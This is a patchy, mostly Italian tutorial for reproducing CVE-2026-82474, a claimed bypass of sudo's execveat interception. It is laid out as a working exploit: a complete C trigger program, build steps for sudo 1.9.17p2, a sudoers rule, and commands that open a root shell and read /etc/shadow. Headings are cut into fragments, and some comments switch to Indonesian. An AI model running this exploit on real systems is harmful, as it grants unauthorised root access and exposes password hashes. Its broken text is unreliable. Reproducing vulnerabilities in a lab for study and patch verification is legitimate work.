
Tutorial di riproduzione e programma trigger che dimostrano CVE-2026-82474, un bypass dell'intercettazione di sudo tramite execveat che consente l'escalation dei privilegi locali a root.
execveat nell'intercettazione di sudo)Avvertenza: Questo tutorial è destinato esclusivamente a un ambiente di laboratorio che controlli completamente. Non utilizzarlo su sistemi senza autorizzazione. CVE-2026-82474 è una vulnerabilità reale che interessa sudo fino alla versione 1.9.17p2.
CVE-2026-82474 è una vulnerabilità in sudo che consente a un utente con permessi limitati di aggirare la policy intercept (basata su ptrace) invocando la syscall execveat. Sudo controlla execve ma non execveat, per cui un programma che dovrebbe essere vietato può essere eseguito.
Defaults intercept o Defaults log_subcmds attivi, l'utente dispone di permessi sudo limitatiexecveat)sudo-1.9.17p2.tar.gzgcc, make, libpam0g-dev, libselinux1-dev (opzionale)# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2
# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)
# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install
Verifica:
/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2
Assicurati che /usr/local/bin sia all'inizio del PATH, oppure usa il percorso assoluto /usr/local/bin/sudo in tutti i comandi successivi.
sudo useradd -m -s /bin/bash attacker
sudo passwd attacker
syscaller.cQuesto programma apre il file di destinazione, quindi chiama execveat con AT_EMPTY_PATH per eseguirlo. Poiché execveat non viene controllato dall'intercettazione di sudo, il programma di destinazione viene eseguito come root.
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
const char *target = (argc > 1) ? argv[1] : "/bin/sh";
int fd = open(target, O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
char *const new_argv[] = { (char *)target, NULL };
char *const new_envp[] = { NULL };
long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
perror("execveat");
return 1;
}
Compilare come utente attacker:
su - attacker
gcc syscaller.c -o syscaller
Modifica con visudo (come root):
sudo visudo
Aggiungi:
Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller
Ciò che è consentito è syscaller stesso, non /bin/sh. Questa è la chiave: sudo consente l'esecuzione di syscaller, ma quando syscaller chiama execveat per eseguire /bin/sh, sudo non controlla execveat.
Come utente attacker:
sudo /home/attacker/syscaller /bin/sh
Se ha esito positivo, il prompt cambia da $ a #.
I comandi esterni come id o whoami rimarranno bloccati dall'intercettazione di sudo (poiché attivano un normale execve). Usa i built-in della shell per dimostrare i privilegi di root:
read line < /etc/shadow && echo "readable"
o
while IFS= read -r line; do echo "$line"; done < /etc/shadow
Output: readable — dimostra che la shell viene eseguita come root ed è in grado di leggere /etc/shadow.
Oppure:
echo $UID
# Output: 0
id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...
Questo dimostra che il meccanismo di intercept continua a funzionare per il normale execve, ma execveat è riuscito a bypassarlo.
| Fase | Risultato |
|---|---|
| Compilazione di sudo 1.9.17p2 | ✅ |
Defaults intercept attivo | ✅ |
Whitelist solo syscaller | ✅ |
execveat attiva /bin/sh | ✅ |
| Shell root ottenuta | ✅ |
/etc/shadow leggibile | ✅ |
execve normale resta bloccato | ✅ |
syscaller.c sopra è uno strumento di verifica scritto autonomamente basato sui principi tecnici.71fbe42; le versioni di sudo successive alla 1.9.17p2 non sono più vulnerabili.bash come target (/bin/bash), la shell potrebbe leggere configurazioni aggiuntive; tuttavia i comandi esterni resteranno bloccati dall'intercept.execveat e ptrace può variare tra kernel diversi.71fbe42 (repository sudo)